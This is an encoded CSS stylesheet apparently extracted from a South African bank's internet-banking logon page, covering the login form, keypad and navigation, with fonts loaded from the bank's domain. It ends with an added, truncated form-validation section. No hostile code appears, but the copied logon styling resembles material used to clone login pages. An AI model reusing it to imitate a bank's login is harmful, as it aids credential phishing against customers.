.nav-item-icon[_ngcontent-ng-c3503980013]{font-size:20px;line-height:20px;m=
argin:0 auto;transition:transform .25s ease;}
span.icon-phone[_ngcontent-ng-c3503980013]{font-size:24px;}
.nav-item-label[_ngcontent-ng-c3503980013]{font-size:14px;margin:0 0 0 16px=
;overflow:hidden;transition:opacity .25s ease .125s;font-weight:400;line-he=
ight:normal;}
.nav-item-label-gt-sm[_ngcontent-ng-c3503980013]{font-size:11px!important;t=
ext-align:center;width:100%;margin:6px 0 0!important;}
.nav-item[_ngcontent-ng-c3503980013]:focus,.nav-item[_ngcontent-ng-c3503980=
013]:hover{background-color:#af144b26;color:#2b2b2b;}
.nav-item[_ngcontent-ng-c3503980013]:active,.nav-item-active[_ngcontent-ng-=
c3503980013]{background-color:#af144b!important;text-decoration:none;color:=
#fff!important;}
.side-nav-footer[_ngcontent-ng-c3503980013]{background-color:#ffffff4d;heig=
ht:1px;min-width:100%;margin-top:10px;margin-bottom:10px;}
.more-slider[_ngcontent-ng-c3503980013]{position:absolute;bottom:0;width:10=
0%;height:27px;color:#af144b;background:#fff;border-bottom:4px solid #af144=
b;padding-bottom:3px;transition:.3s cubic-bezier(.21,.26,.45,.89);cursor:po=
inter;}
.more-slider[_ngcontent-ng-c3503980013]   .icon-arrow-forward[_ngcontent-ng=
-c3503980013],.more-slider[_ngcontent-ng-c3503980013]   .icon-arrow-back[_n=
gcontent-ng-c3503980013]{position:absolute;top:1px;left:7px;transform:rotat=
e(90deg);}
.more-slider[_ngcontent-ng-c3503980013]   .more-text[_ngcontent-ng-c3503980=
013]{font-size:11px;font-weight:600;padding-left:25px;}
.more-slider.top[_ngcontent-ng-c3503980013]{top:64px;border-bottom:none;bor=
der-top:4px solid #af144b;}
/*! CSS Used from: Embedded */
.icon-menu[_ngcontent-ng-c1468366833]{color:#2d2323;font-size:16px;margin:1=
4px 0 0;font-weight:700;}
.top-nav[_ngcontent-ng-c1468366833]{align-items:center;background:#fff;box-=
shadow:0 4px 8px #00000029;display:flex;flex-direction:row;min-height:64px;=
position:fixed;transition:margin-left .25s ease-in-out,background-color 1s =
ease-in-out;width:100%;z-index:1000;}
.top-nav__logo-img[_ngcontent-ng-c1468366833]{padding-left:16px;}
.menu-primary[_ngcontent-ng-c1468366833]{background:#af144b;bottom:0;displa=
y:flex;flex:1 1 auto;left:0;position:fixed;width:100%;}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]{flex-direction:column;}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]:hover{background-color:#870a3c;cursor:pointer;}
@media (min-width: 768px){
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]:hover{background-color:#f4f3f3;}
}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]:hover   .nav-button__label[_ngcontent-ng-c1468366833]{color:#fff;}
@media (min-width: 768px){
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]:hover   .nav-button__label[_ngcontent-ng-c1468366833]{color:#af144b;}
}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button.nav-button--active[_=
ngcontent-ng-c1468366833]{background-color:transparent;}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button.nav-button--active[_=
ngcontent-ng-c1468366833]   .nav-button__label[_ngcontent-ng-c1468366833]{c=
olor:#fff;}
@media (min-width: 768px){
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button.nav-button--active[_=
ngcontent-ng-c1468366833]   .nav-button__label[_ngcontent-ng-c1468366833]{c=
olor:#af144b;}
}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button__label[_ngcontent-ng=
-c1468366833]{color:#fff;}
@media (min-width: 768px){
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button__label[_ngcontent-ng=
-c1468366833]{color:#2d2323;}
}
@media (min-width: 768px){
.menu-primary[_ngcontent-ng-c1468366833]{background:transparent;bottom:init=
ial;box-shadow:none;flex:unset;position:relative;width:auto;}
.menu-primary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c14683=
66833]{flex-direction:row;}
}
.nav-button[_ngcontent-ng-c1468366833]{align-items:center;color:#fff;displa=
y:flex;flex-direction:row;flex-grow:0;font-size:14px;justify-content:center=
;max-height:100%;min-height:80px;min-width:50px;padding:10px;position:relat=
ive;transition:background .25s;}
@media (min-width: 768px){
.nav-button[_ngcontent-ng-c1468366833]{min-height:64px;padding:15px;}
}
.nav-button[_ngcontent-ng-c1468366833]:focus,.nav-button[_ngcontent-ng-c146=
8366833]:hover{background-color:#f4f3f3;color:#fff;text-decoration:none;}
@media (min-width: 768px){
.nav-button[_ngcontent-ng-c1468366833]:focus,.nav-button[_ngcontent-ng-c146=
8366833]:hover{color:#af144b;}
}
.nav-button.nav-button--active[_ngcontent-ng-c1468366833]   .nav-button__ac=
cent[_ngcontent-ng-c1468366833]{background-color:#fff;width:100%;}
@media (min-width: 768px){
.nav-button.nav-button--active[_ngcontent-ng-c1468366833]   .nav-button__ac=
cent[_ngcontent-ng-c1468366833]{background-color:#af144b;}
}
.nav-button__icon[_ngcontent-ng-c1468366833]{color:#2d2323;margin:5px;trans=
ition:all .15s;width:16px;height:16px;}
.nav-button__label[_ngcontent-ng-c1468366833]{color:#2d2323;height:18px;}
@media (min-width: 576px){
.nav-button__label[_ngcontent-ng-c1468366833]{display:block;}
}
.nav-button__accent[_ngcontent-ng-c1468366833]{bottom:0;left:50%;min-height=
:5px;position:absolute;transform:translate(-50%);transition:width .35s;widt=
h:0;}
.menu-secondary[_ngcontent-ng-c1468366833]{align-items:stretch;display:flex=
;flex-direction:row;margin-left:auto;padding-right:4px;transition:all .25s =
ease-in-out;}
@media (max-width: 767px){
.menu-secondary[_ngcontent-ng-c1468366833]{flex-grow:0;}
}
.menu-secondary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c146=
8366833]{min-height:64px;padding:0 12px;}
.menu-secondary[_ngcontent-ng-c1468366833]   .nav-button[_ngcontent-ng-c146=
8366833]:nth-child(n+3):before,.menu-secondary[_ngcontent-ng-c1468366833]  =
 .nav-button[_ngcontent-ng-c1468366833]:nth-child(n+2):before{background:#c=
ac7c7;content:"";display:block;height:32px;left:0;width:1px;margin:0 7px 0 =
-7px;}
.menu-trigger[_ngcontent-ng-c1468366833]{align-items:center;align-self:stre=
tch;color:#fff;display:flex;flex:0 0 auto;flex-direction:column;justify-con=
tent:center;min-height:64px;min-width:64px;padding:10px;transition:backgrou=
nd .25s;}
.menu-trigger[_ngcontent-ng-c1468366833]:hover{background-color:#f4f3f3;col=
or:#af144b;text-decoration:none;}
.menu-trigger[_ngcontent-ng-c1468366833]:focus{text-decoration:none;}
.menu-trigger__icon[_ngcontent-ng-c1468366833]{align-items:flex-end;display=
:inline-flex;height:16px;position:relative;transition:top .25s;width:16px;}
.nav-button[_ngcontent-ng-c1468366833],.menu-trigger[_ngcontent-ng-c1468366=
833]{outline:0;}
.nav-button[_ngcontent-ng-c1468366833]:hover,.menu-trigger[_ngcontent-ng-c1=
468366833]:hover{background-color:#eeeded!important;}
.menu-trigger[_ngcontent-ng-c1468366833]:focus{background-color:#eeeded!imp=
ortant;}
.menu-trigger[_ngcontent-ng-c1468366833]:focus   .menu-trigger__icon.hambur=
ger-slice.icon-menu[_ngcontent-ng-c1468366833]{color:#af144b!important;}
.title-brand[_ngcontent-ng-c1468366833]{font-size:16px;font-weight:600;marg=
in:0!important;}
.title-container[_ngcontent-ng-c1468366833]{margin:0 16px;}
/*! CSS Used from: Embedded */
.footer-container[_ngcontent-ng-c3723619527]{border-radius:5px;color:#af144=
b;font-size:14px;font-weight:400;height:auto;margin:30px auto;min-height:95=
px;text-align:center;width:100%;}
@media (max-width: 767px){
.footer-container[_ngcontent-ng-c3723619527]{padding:0 15px;}
}
.footer-container[_ngcontent-ng-c3723619527]   .footer-content[_ngcontent-n=
g-c3723619527]{margin:auto;padding:15px 0 20px;}
.footer-container[_ngcontent-ng-c3723619527]   .footer-content__text[_ngcon=
tent-ng-c3723619527]   p[_ngcontent-ng-c3723619527]{margin:1px;padding:0;wh=
ite-space:pre-line;color:#2d2323;}
.footer-content__nav[_ngcontent-ng-c3723619527]{display:inline-flex;flex-wr=
ap:wrap;list-style:none;margin:0;padding:0;}
.footer-content__nav[_ngcontent-ng-c3723619527]   li[_ngcontent-ng-c3723619=
527]{border-right:1px solid #f0325a;line-height:10px;padding:0 10px;width:a=
uto;}
.footer-content__nav[_ngcontent-ng-c3723619527]   li[_ngcontent-ng-c3723619=
527]:last-of-type{border-right:0;}
.footer-content__nav[_ngcontent-ng-c3723619527]   li[_ngcontent-ng-c3723619=
527]   a[_ngcontent-ng-c3723619527]{color:#f0325a;text-decoration:none;}
.footer-content__nav[_ngcontent-ng-c3723619527]   li[_ngcontent-ng-c3723619=
527]   a[_ngcontent-ng-c3723619527]:hover,.footer-content__nav[_ngcontent-n=
g-c3723619527]   li[_ngcontent-ng-c3723619527]   a[_ngcontent-ng-c372361952=
7]:focus{color:#af144b;}
@media (max-width: 767px){
.footer-content__nav[_ngcontent-ng-c3723619527]   li[_ngcontent-ng-c3723619=
527]{margin:5px 0;}
}
.add-padding[_ngcontent-ng-c3723619527]{padding:5px;}
/*! CSS Used from: Embedded */
.help-trigger-container[_ngcontent-ng-c49366172]:hover,.help-trigger-contai=
ner[_ngcontent-ng-c49366172]:focus{box-shadow:0 3px 8px #00000029;}
.help-trigger-container[_ngcontent-ng-c49366172]{align-items:center;align-s=
elf:center;background-color:#f0325a;border-radius:5px 0 0 5px;border:solid =
1px #f0325a;border-right-width:0;bottom:50px;color:#fff;display:none;height=
:50px;padding-left:17px;position:fixed;right:0;text-decoration:none;transit=
ion:all ease-in-out .25s;z-index:10900;justify-content:left;width:100px;}
.help-trigger-container[_ngcontent-ng-c49366172]:before{left:17px;}
.help-trigger-container[_ngcontent-ng-c49366172]   .help-text[_ngcontent-ng=
-c49366172]{font-weight:300;padding-left:14px;}
@media (max-width: 979px){
.help-trigger-container[_ngcontent-ng-c49366172]{bottom:100px;}
}
@media (min-width: 240px){
.help-trigger-container[_ngcontent-ng-c49366172]{display:flex;}
}
.help-icon[_ngcontent-ng-c49366172]{transition:all ease-in-out .25s .25s;fo=
nt-size:20px;}
.help-content-container[_ngcontent-ng-c49366172]{background:#fff;box-shadow=
:-8px 0 16px #00000040;display:none;flex-direction:column;height:100vh;opac=
ity:1;overflow:hidden;position:fixed;right:0;top:65px;transition:all ease-i=
n-out .45s;width:400px;z-index:11000;}
.help-content-container.is-loaded[_ngcontent-ng-c49366172]{display:flex;}
.help-content-container.is-hidden[_ngcontent-ng-c49366172]{opacity:0;top:10=
0vh;}
.help-content-container[_ngcontent-ng-c49366172]   .btn-close[_ngcontent-ng=
-c49366172]{color:#2d2323;font-size:14px;line-height:1.4;padding:7px 10px 4=
px;position:absolute;right:16px;top:5px;transition:all .2s ease;z-index:1;}
.help-content-container[_ngcontent-ng-c49366172]   .help-content__body[_ngc=
ontent-ng-c49366172]{display:flex;flex:1 100%;height:100%;overflow-x:hidden=
;overflow-y:auto;width:200%;}
.help-content-container[_ngcontent-ng-c49366172]   .help-content__body[_ngc=
ontent-ng-c49366172]   .help-items[_ngcontent-ng-c49366172]{width:50.3%;}
.help-content-container[_ngcontent-ng-c49366172]   .help-content__body[_ngc=
ontent-ng-c49366172]   iframe[_ngcontent-ng-c49366172]{height:calc(100% - 6=
3px);width:100%;}
@media all and (-ms-high-contrast: none),(-ms-high-contrast: active){
.help-content-container[_ngcontent-ng-c49366172]   .help-content__body[_ngc=
ontent-ng-c49366172]   iframe[_ngcontent-ng-c49366172]{height:calc(100% - 5=
9px);}
}
@media (max-width: 400px){
.help-content-container[_ngcontent-ng-c49366172]{width:100%;}
}
.is-hidden[_ngcontent-ng-c49366172]{display:none;opacity:0;}
/*! CSS Used from: Embedded */
.logon-container[_ngcontent-ng-c116526630]{width:100%;height:auto;display:t=
able;}
.logon-form-container[_ngcontent-ng-c116526630]{padding:24px 24px 40px;back=
ground-color:#fff;}
@media (min-width: 860px){
.logon-form-container[_ngcontent-ng-c116526630]{width:100%;}
.logon-form-container.logon-form-container_gt-md[_ngcontent-ng-c116526630]{=
display:table-cell;width:558px;}
}
@media (min-width: 860px){
.logon-content-container[_ngcontent-ng-c116526630]{vertical-align:top;width=
:100%;}
.logon-content-container.logon-content-container_gt-md[_ngcontent-ng-c11652=
6630]{display:table-cell;width:calc(100% - 414px);padding-left:15px;}
}
/*! CSS Used from: Embedded */
.promo-box-container[_ngcontent-ng-c4048871694]{min-width:100%;}
.half-width[_ngcontent-ng-c4048871694]{min-width:calc(50% - 8px);}
.full-width[_ngcontent-ng-c4048871694]{min-width:100%;}
/*! CSS Used from: Embedded */
.keypad-label[_ngcontent-ng-c1269136133]{color:#f05a7d;}
.keypad-content[_ngcontent-ng-c1269136133]:focus   .keypad-label[_ngcontent=
-ng-c1269136133],.keypad-content[_ngcontent-ng-c1269136133]:hover   .keypad=
-label[_ngcontent-ng-c1269136133]{color:#af144b;}
.keypad-button-label[_ngcontent-ng-c1269136133]{text-align:right;}
.keypad-container[_ngcontent-ng-c1269136133]{position:absolute;right:0;}
.main-container[_ngcontent-ng-c1269136133]{position:relative;}
/*! CSS Used from: Embedded */
.stepper_container[_ngcontent-ng-c3338032553]{padding-bottom:24px;width:100=
%;}
.status_icon_inside_stepper[_ngcontent-ng-c3338032553]{color:#f0325a;displa=
y:inline-block;width:45px;height:45px;margin-bottom:8px;}
.stepper_icon[_ngcontent-ng-c3338032553]{position:absolute;margin-top:-38px=
;margin-left:13px;color:#2d2323;font-size:20px;z-index:998;}
svg[_ngcontent-ng-c3338032553]{display:block;height:45px;width:45px;backgro=
und:transparent;}
circle[_ngcontent-ng-c3338032553]{opacity:1;animation:_ngcontent-ng-c333803=
2553_stroke-dasharray ease-in-out .4s;transition:all ease-in-out .25s;}
.stepper-indicator__process[_ngcontent-ng-c3338032553]{cursor:default;font-=
size:20px;padding-right:8px;}
.stepper-indicator__process-title[_ngcontent-ng-c3338032553]{color:#2d2323;=
padding-right:16px;font-size:14px;}
.side-status-panel-header__title[_ngcontent-ng-c3338032553]{font-size:20px;=
color:#2d2323;font-weight:700;}
/*! CSS Used from: Embedded */
.secrecy-block[_ngcontent-ng-c1317555434]{background-color:#f4f3f3;padding:=
10px;margin-left:-24px;margin-right:-24px;}
.secrecy-text[_ngcontent-ng-c1317555434]{padding-left:14px;}
/*! CSS Used from: Embedded */
.form-group[_ngcontent-ng-c779836824]   label[_ngcontent-ng-c779836824]{fon=
t-size:14px;font-weight:600;color:#2d2323;}
.tooltip-padding[_ngcontent-ng-c779836824]{margin-top:-3px;}
.helper-text-padding[_ngcontent-ng-c779836824]{padding-top:2px;}
input[_ngcontent-ng-c779836824]{touch-action:manipulation;-ms-touch-action:=
manipulation;}
/*! CSS Used from: Embedded */
.hidden[_ngcontent-ng-c2759620907]{position:absolute;visibility:hidden;inse=
t:1px;}
/*! CSS Used from: Embedded */
.tooltip-wrapper[_ngcontent-ng-c745404493]{position:relative;font-size:14px=
;}
.tooltip-label[_ngcontent-ng-c745404493]{font-size:16px;font-weight:400;}
.input-group__help-icon[_ngcontent-ng-c745404493]{margin-left:6px;color:#00=
a0ff;font-size:16px;object-fit:contain;cursor:pointer;}
/*! CSS Used from: Embedded */
.set-image-size[_ngcontent-ng-c3828857665]{height:auto;width:28%;}
.set-width-75[_ngcontent-ng-c3828857665]{width:75%;}
.set-width-90[_ngcontent-ng-c3828857665]{width:90%;}
.promoBox_container[_ngcontent-ng-c3828857665]{height:191px;border-radius:5=
px;padding:24px;position:relative;color:#fff;line-height:1.2;transition:hei=
ght .4s ease;}
.gtlg[_ngcontent-ng-c3828857665]   .promoBox_container.singleBlockStretch[_=
ngcontent-ng-c3828857665]{height:100%;padding:16px 24px;}
img[_ngcontent-ng-c3828857665]{position:absolute;right:0;bottom:0;border-ra=
dius:5px;-ms-interpolation-mode:bicubic;height:75%;width:auto;}
.gtlg[_ngcontent-ng-c3828857665]   .singleBlockStretch[_ngcontent-ng-c38288=
57665]   img[_ngcontent-ng-c3828857665]{right:24px;height:100%;width:auto;}
@media (min-width: 1440px){
.singleBlockStretch[_ngcontent-ng-c3828857665]   img[_ngcontent-ng-c3828857=
665]{width:174px;}
.gtlg[_ngcontent-ng-c3828857665]   .singleBlockStretch[_ngcontent-ng-c38288=
57665]   img[_ngcontent-ng-c3828857665]{right:24px;height:100%;width:auto;}
}
.logon[_ngcontent-ng-c3828857665]   img[_ngcontent-ng-c3828857665]{height:a=
uto;width:41%;}
.hide[_ngcontent-ng-c3828857665]{height:auto;}
.ghost[_ngcontent-ng-c3828857665]{border:1px solid #fff;background-color:tr=
ansparent;color:#fff;border-radius:5px;cursor:pointer;font-weight:400;visib=
ility:visible;font-size:14px;line-height:32px;height:32px;padding:0 23px;po=
sition:absolute;bottom:20px;left:25px;}
.promoboxesimages[_ngcontent-ng-c3828857665]{background-repeat:no-repeat;ba=
ckground-position:100% 101%;background-size:100%;flex:1!important;transitio=
n:all .4s ease;}
.promo-box__Heading1[_ngcontent-ng-c3828857665]{word-wrap:break-word;positi=
on:relative;font-size:18px;font-weight:700;visibility:visible;margin-right:=
8px;max-width:390px;width:100%;min-width:100%;word-break:break-word;}
.logon[_ngcontent-ng-c3828857665]   .promo-box__Heading1[_ngcontent-ng-c382=
8857665]{font-size:16px;}
@media (min-width: 1440px){
.logon[_ngcontent-ng-c3828857665]   .promo-box__Heading1[_ngcontent-ng-c382=
8857665]{font-size:25px;}
}
.gtlg[_ngcontent-ng-c3828857665]   .singleBlockStretch[_ngcontent-ng-c38288=
57665]   .promo-box__Heading1[_ngcontent-ng-c3828857665]{min-width:calc(100=
% - 170px);}
.promoBox-body1[_ngcontent-ng-c3828857665]{word-wrap:break-word;white-space=
:normal;font-size:16px;visibility:visible;font-weight:lighter;margin-right:=
8px;width:75%;max-width:282px;margin-bottom:8px;margin-top:8px;}
.logon[_ngcontent-ng-c3828857665]   .promoBox-body1[_ngcontent-ng-c38288576=
65]{font-weight:400;width:100%;min-width:60%;}
.gtlg[_ngcontent-ng-c3828857665]   .singleBlockStretch.logon[_ngcontent-ng-=
c3828857665]   .promoBox-body1[_ngcontent-ng-c3828857665]{display:block;}
.bg-new-brand[_ngcontent-ng-c3828857665]{background:linear-gradient(180deg,=
#95052a,#77021e);box-shadow:2px 2px 8px #f72a1a33;}
/*! CSS Used from: Embedded */
.links_container[_ngcontent-ng-c2921955071]{background-color:#fff;border-ra=
dius:5px;box-shadow:2px 2px 6px 1px #c8c8c880;padding:16px 16px 0;}
.links-custom-container_gt-sm[_ngcontent-ng-c2921955071]{padding:16px 16px =
8px;height:100%;}
.header[_ngcontent-ng-c2921955071]{font-size:18px;font-weight:700;}
.header_gt-sm[_ngcontent-ng-c2921955071]{font-size:24px;}
.content_container[_ngcontent-ng-c2921955071]{cursor:pointer;padding-bottom=
:8px;}
.content_container[_ngcontent-ng-c2921955071]:hover   .content_title[_ngcon=
tent-ng-c2921955071]{color:#f0325a;}
.content_container[_ngcontent-ng-c2921955071]:hover   .right_arrow[_ngconte=
nt-ng-c2921955071]{border-right:1px solid #f0325a;border-top:1px solid #f03=
25a;}
.content_title[_ngcontent-ng-c2921955071]{font-size:16px;font-weight:600;co=
lor:#2d2323;}
.content_title[_ngcontent-ng-c2921955071]:hover,.content_title[_ngcontent-n=
g-c2921955071]:focus{color:#f0325a;}
.icon[_ngcontent-ng-c2921955071]{padding-right:16px;}
.right_arrow[_ngcontent-ng-c2921955071]{border-right:1px solid #2d2323;bord=
er-top:1px solid #2d2323;display:block;height:14px;transform:rotate(45deg);=
width:14px;}
.right_arrow[_ngcontent-ng-c2921955071]:hover{border-right:1px solid #f0325=
a;border-top:1px solid #f0325a;}
.right_arrow-padding[_ngcontent-ng-c2921955071]{padding-left:24px;padding-r=
ight:16px;}
.right_arrow-padding_gt-sm[_ngcontent-ng-c2921955071]{padding-left:16px;pad=
ding-right:16px;}
/*! CSS Used keyframes */
@keyframes _ngcontent-ng-c3338032553_stroke-dasharray{0%{stroke-dasharray:0=
 100;}}
/*! CSS Used fontfaces */
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:300;sr=
c:url(https://ib.absa.co.za/source-sans-pro-v10-latin-300.feb3a371b8c5ab78.=
eot);src:local("Source Sans Pro Light"),local("SourceSansPro-Light"),url(ht=
tps://ib.absa.co.za/source-sans-pro-v10-latin-300.feb3a371b8c5ab78.eot?#ief=
ix) format("embedded-opentype"),url(https://ib.absa.co.za/source-sans-pro-v=
10-latin-300.902e780ff6aff16f.woff2) format("woff2"),url(https://ib.absa.co=
.za/source-sans-pro-v10-latin-300.2c1156a03aa1615c.woff) format("woff"),url=
(https://ib.absa.co.za/source-sans-pro-v10-latin-300.d06be4eba4cdc1ac.ttf) =
format("truetype"),url(https://ib.absa.co.za/source-sans-pro-v10-latin-300.=
f3fbba34270dd27a.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:400;sr=
c:url(https://ib.absa.co.za/source-sans-pro-v10-latin-regular.9c297199b5f36=
4a7.eot);src:local("Source Sans Pro Regular"),local("SourceSansPro-Regular"=
),url(https://ib.absa.co.za/source-sans-pro-v10-latin-regular.9c297199b5f36=
4a7.eot?#iefix) format("embedded-opentype"),url(https://ib.absa.co.za/sourc=
e-sans-pro-v10-latin-regular.c30c139557e59b1d.woff2) format("woff2"),url(ht=
tps://ib.absa.co.za/source-sans-pro-v10-latin-regular.23e04aa202c158a2.woff=
) format("woff"),url(https://ib.absa.co.za/source-sans-pro-v10-latin-regula=
r.9c0acacc1d455e33.ttf) format("truetype"),url(https://ib.absa.co.za/source=
-sans-pro-v10-latin-regular.8eb176d347e6613b.svg#SourceSansPro) format("svg=
");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:600;sr=
c:url(https://ib.absa.co.za/source-sans-pro-v10-latin-600.9bf1dd4b5d0e05b9.=
eot);src:local("Source Sans Pro SemiBold"),local("SourceSansPro-SemiBold"),=
url(https://ib.absa.co.za/source-sans-pro-v10-latin-600.9bf1dd4b5d0e05b9.eo=
t?#iefix) format("embedded-opentype"),url(https://ib.absa.co.za/source-sans=
-pro-v10-latin-600.7818c5433f6bc777.woff2) format("woff2"),url(https://ib.a=
bsa.co.za/source-sans-pro-v10-latin-600.53f34e82fd9a5e0d.woff) format("woff=
"),url(https://ib.absa.co.za/source-sans-pro-v10-latin-600.f6d38edfda109439=
.ttf) format("truetype"),url(https://ib.absa.co.za/source-sans-pro-v10-lati=
n-600.3451dd5a8b59d329.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:italic;font-weight:400;sr=
c:url(https://ib.absa.co.za/source-sans-pro-v10-latin-italic.1c874d1fef7414=
f2.eot);src:local("Source Sans Pro Italic"),local("SourceSansPro-Italic"),u=
rl(https://ib.absa.co.za/source-sans-pro-v10-latin-italic.1c874d1fef7414f2.=
eot?#iefix) format("embedded-opentype"),url(https://ib.absa.co.za/source-sa=
ns-pro-v10-latin-italic.a15edc8379663950.woff2) format("woff2"),url(https:/=
/ib.absa.co.za/source-sans-pro-v10-latin-italic.98278e79609a69c4.woff) form=
at("woff"),url(https://ib.absa.co.za/source-sans-pro-v10-latin-italic.87d1c=
f511a9f8ae1.ttf) format("truetype"),url(https://ib.absa.co.za/source-sans-p=
ro-v10-latin-italic.a14de45d56c7fe54.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:700;sr=
c:url(https://ib.absa.co.za/source-sans-pro-v10-latin-700.17a78e71b6180d1d.=
eot);src:local("Source Sans Pro Bold"),local("SourceSansPro-Bold"),url(http=
s://ib.absa.co.za/source-sans-pro-v10-latin-700.17a78e71b6180d1d.eot?#iefix=
) format("embedded-opentype"),url(https://ib.absa.co.za/source-sans-pro-v10=
-latin-700.9e5e10e9276a4106.woff2) format("woff2"),url(https://ib.absa.co.z=
a/source-sans-pro-v10-latin-700.886452199d7cc99d.woff) format("woff"),url(h=
ttps://ib.absa.co.za/source-sans-pro-v10-latin-700.d7d623eddfa851bc.ttf) fo=
rmat("truetype"),url(https://ib.absa.co.za/source-sans-pro-v10-latin-700.a9=
2d7fb8ceeaed5a.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:300;sr=
c:url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-300.feb3a371=
b8c5ab78.eot);src:local("Source Sans Pro Light"),local("SourceSansPro-Light=
"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-300.feb3a37=
1b8c5ab78.eot?#iefix) format("embedded-opentype"),url(https://ib.absa.co.za=
/xdas/clr/source-sans-pro-v10-latin-300.902e780ff6aff16f.woff2) format("wof=
f2"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-300.2c115=
6a03aa1615c.woff) format("woff"),url(https://ib.absa.co.za/xdas/clr/source-=
sans-pro-v10-latin-300.d06be4eba4cdc1ac.ttf) format("truetype"),url(https:/=
/ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-300.f3fbba34270dd27a.svg#=
SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:400;sr=
c:url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-regular.9c29=
7199b5f364a7.eot);src:local("Source Sans Pro Regular"),local("SourceSansPro=
-Regular"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-reg=
ular.9c297199b5f364a7.eot?#iefix) format("embedded-opentype"),url(https://i=
b.absa.co.za/xdas/clr/source-sans-pro-v10-latin-regular.c30c139557e59b1d.wo=
ff2) format("woff2"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10=
-latin-regular.23e04aa202c158a2.woff) format("woff"),url(https://ib.absa.co=
.za/xdas/clr/source-sans-pro-v10-latin-regular.9c0acacc1d455e33.ttf) format=
("truetype"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-r=
egular.8eb176d347e6613b.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:600;sr=
c:url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-600.9bf1dd4b=
5d0e05b9.eot);src:local("Source Sans Pro SemiBold"),local("SourceSansPro-Se=
miBold"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-600.9=
bf1dd4b5d0e05b9.eot?#iefix) format("embedded-opentype"),url(https://ib.absa=
.co.za/xdas/clr/source-sans-pro-v10-latin-600.7818c5433f6bc777.woff2) forma=
t("woff2"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-600=
.53f34e82fd9a5e0d.woff) format("woff"),url(https://ib.absa.co.za/xdas/clr/s=
ource-sans-pro-v10-latin-600.f6d38edfda109439.ttf) format("truetype"),url(h=
ttps://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-600.3451dd5a8b59d32=
9.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:italic;font-weight:400;sr=
c:url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-italic.1c874=
d1fef7414f2.eot);src:local("Source Sans Pro Italic"),local("SourceSansPro-I=
talic"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-italic=
.1c874d1fef7414f2.eot?#iefix) format("embedded-opentype"),url(https://ib.ab=
sa.co.za/xdas/clr/source-sans-pro-v10-latin-italic.a15edc8379663950.woff2) =
format("woff2"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-lati=
n-italic.98278e79609a69c4.woff) format("woff"),url(https://ib.absa.co.za/xd=
as/clr/source-sans-pro-v10-latin-italic.87d1cf511a9f8ae1.ttf) format("truet=
ype"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-italic.a=
14de45d56c7fe54.svg#SourceSansPro) format("svg");}
@font-face{font-family:Source Sans Pro;font-style:normal;font-weight:700;sr=
c:url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-700.17a78e71=
b6180d1d.eot);src:local("Source Sans Pro Bold"),local("SourceSansPro-Bold")=
,url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-700.17a78e71b=
6180d1d.eot?#iefix) format("embedded-opentype"),url(https://ib.absa.co.za/x=
das/clr/source-sans-pro-v10-latin-700.9e5e10e9276a4106.woff2) format("woff2=
"),url(https://ib.absa.co.za/xdas/clr/source-sans-pro-v10-latin-700.8864521=
99d7cc99d.woff) format("woff"),url(https://ib.absa.co.za/xdas/clr/source-sa=
ns-pro-v10-latin-700.d7d623eddfa851bc.ttf) format("truetype"),url(https://i=
b.absa.co.za/xdas/clr/source-sans-pro-v10-latin-700.a92d7fb8ceeaed5a.svg#So=
urceSansPro) format("svg");}
@font-face{font-family:cb-icons;src:url(https://ib.absa.co.za/xdas/clr/cb-i=
cons.8885da73ab7b4fc2.eot);src:url(https://ib.absa.co.za/xdas/clr/cb-icons.=
8885da73ab7b4fc2.eot#iefix) format("embedded-opentype"),url(https://ib.absa=
.co.za/xdas/clr/cb-icons.ff4dce77763da6c5.ttf) format("truetype"),url(https=
://ib.absa.co.za/xdas/clr/cb-icons.56c1a1bd41053847.woff) format("woff"),ur=
l(https://ib.absa.co.za/xdas/clr/cb-icons.7f03ed8618d29de4.svg#cb-icons) fo=
rmat("svg");font-weight:400;font-style:normal;}

        /* Form Validation Styles */
        .field-error {
            color: #d32f2f;
